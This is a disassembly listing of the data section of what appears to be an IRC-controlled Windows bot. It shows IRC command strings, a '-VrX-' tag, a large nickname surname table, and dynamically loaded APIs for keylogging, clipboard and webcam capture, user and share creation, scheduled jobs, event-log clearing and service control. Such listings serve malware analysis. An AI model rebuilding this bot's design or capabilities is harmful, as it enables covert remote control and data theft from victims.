aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
